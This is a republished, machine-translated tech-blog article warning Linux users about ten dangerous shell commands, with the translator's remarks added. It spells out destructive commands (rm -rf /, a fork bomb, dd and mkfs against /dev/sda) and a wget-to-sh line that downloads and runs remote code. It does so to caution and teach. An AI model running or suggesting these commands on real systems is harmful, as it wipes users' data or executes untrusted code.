In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-01-17 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Servers >
Share
Shulou(Shulou.com)06/01 Report--
This article will explain in detail what dangerous commands there are in the Linux system. The editor thinks it is very practical, so I share it with you for reference. I hope you can get something after reading this article.
1. Rm-rf command
The rm-rf command is one of the fastest ways to delete a folder and its contents. Even the slightest mistake or ignorance can lead to the collapse of an irreversible system. Here are some options for the rm command.
The rm command is usually used to delete files under Linux.
The rm-r command recursively deletes folders, even empty folders. (translation note: personally, I think it should be wrong, and from common sense, it should be "even non-empty folders")
The rm-f command deletes' read-only files' without being asked. Note: deleting a file under Linux does not care whether the file is read-only, but whether the parent directory has write permission. So, the parameter-f just means that you don't have to delete the confirmation one by one, but delete it all quietly. In addition, the original rm command does not actually delete the prompt, but the general distribution will add the rm alias to the-I parameter to request deletion confirmation, and-f suppresses the prompt. )
Rm-rf /: forces the deletion of everything in the root directory. (that is to say, after the deletion, there is nothing left. )
Rm-rf *: forces the deletion of all files in the current directory.
Rm-rf. Forces the current folder and its subfolders to be deleted
From now on, please be careful when you execute the rm-rf command. We can create an alias for rm-I in the ".bashrc" file to the 'rm' command to prevent accidents when deleting files with the' rm' command, which asks you to confirm each delete request. Most distributions have already done this, if not, do so, and be sure to think about what you are doing before using the-f parameter! The translator himself has learned the lesson of blood and tears. )
2.: () {: |: &};: command
This is an example of a fork bomb. This is done by defining a function called':', which calls itself twice, once in the foreground and once in the background. It will be executed repeatedly until the system crashes.
Oh? Are you sure you want to try? Never experiment on the company's official server.
3. Command > / dev/sda
The above command writes the output of a 'command' to the block device / dev/sda. This operation replaces all data blocks in the block device with the original data written by the command, resulting in data loss for the entire block device.
4. Mv folder / dev/null
This command moves a 'folder' to / dev/null. In Linux, the / dev/null or null device is a special file, and all data written to it is erased and a successful write operation is returned. This is a black hole. Of course, to be clear, moving the folder to the black hole doesn't stop the redemption of the data recovery software, so the real complete destruction, you need to use dedicated software or techniques to do it-I know there's something you want to delete cleanly. )
The above command moves all the contents of the User directory to / dev/null, which means that everything is' involved'in the null.
5. Wget http://malicious_source-O-| sh
The above command downloads a script from a (perhaps) malicious source and executes it. The Wget command downloads the script, and sh executes the downloaded script (unconditionally).
Note: you should always pay attention to the source of your download package or script. You can only use those that download scripts / programs from trusted sources. So, do you really know what you're doing? When faced with this need, what I do is to wget down first, then I read what is written in it, and then consider whether to implement it or not. )
6. Mkfs.ext3 / dev/sda
The above command will format the block device 'sda',. You no doubt know that after executing the above command, your block device (hard drive) will be formatted, brand new! Without any data, directly bring your system to an unrecoverable stage. Note: devices such as / dev/sda are not usually used directly, unless they are used as raw devices, you generally need to divide sda into partitions such as sda1 and sda2 before using it. Of course, whether you use sda or sda1, this mkfs of block devices or partitions is devastating, and the above data will be evaporated. )
7. > file
The above commands are often used to empty the contents of the file. However, please make sure that the output file is empty or does not exist before execution, otherwise the original file will not be recovered-even the data recovery software may not be able to help you. In addition, I think you might really want to use ">", which accumulates new output to the file instead of refreshing that file. ). Incorrectly or ignorantly typing commands like "> xt.conf" with the above will overwrite the configuration file or any other system configuration file.
8. ^ Foo bar
This command, described in our ten little-known Linux commands, Part 3, is used to edit previously run commands without retyping the entire command. But if you don't thoroughly examine the risk of changing the original command when using the foobar command, this can lead to real trouble. In fact, this little technique is considered by the translator to be a useless and harmful "hacker" technique left over from prehistoric times. )
9. Dd if=/dev/random of=/dev/sda
The above command writes random junk files to the block device sda to wipe out the data. That's for sure! Your system may be in a chaotic and irrecoverable state. Remember when it was said that mv to a black hole can't delete data completely? Then this command gives you a way to delete it completely! Of course, just to be on the safe side, you can rewrite it many times. )
10. Hide command
The following command is actually the first command above (rm-rf). The code here is hidden in hexadecimal, and an ignorant user may be fooled. Running the following command from the terminal may erase your root partition.
This command shows that the real danger is usually hidden and cannot be easily detected. You must always pay attention to what you are doing and what will happen. Do not compile / run code from unknown sources.
Note: do not execute any of the above commands on the Linux terminal or Shell on your or your classmates'or school's computer. If you want to test them, run them on a virtual machine. The author and Tecmint are not responsible for any discord or data loss that causes your system to crash as a result of running the above command. (translation note: the translator and the reprint website are not responsible ~! )
This is the end of this article on "what are the dangerous commands in the Linux system". I hope the above content can be of some help to you, so that you can learn more knowledge. if you think the article is good, please share it for more people to see.
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.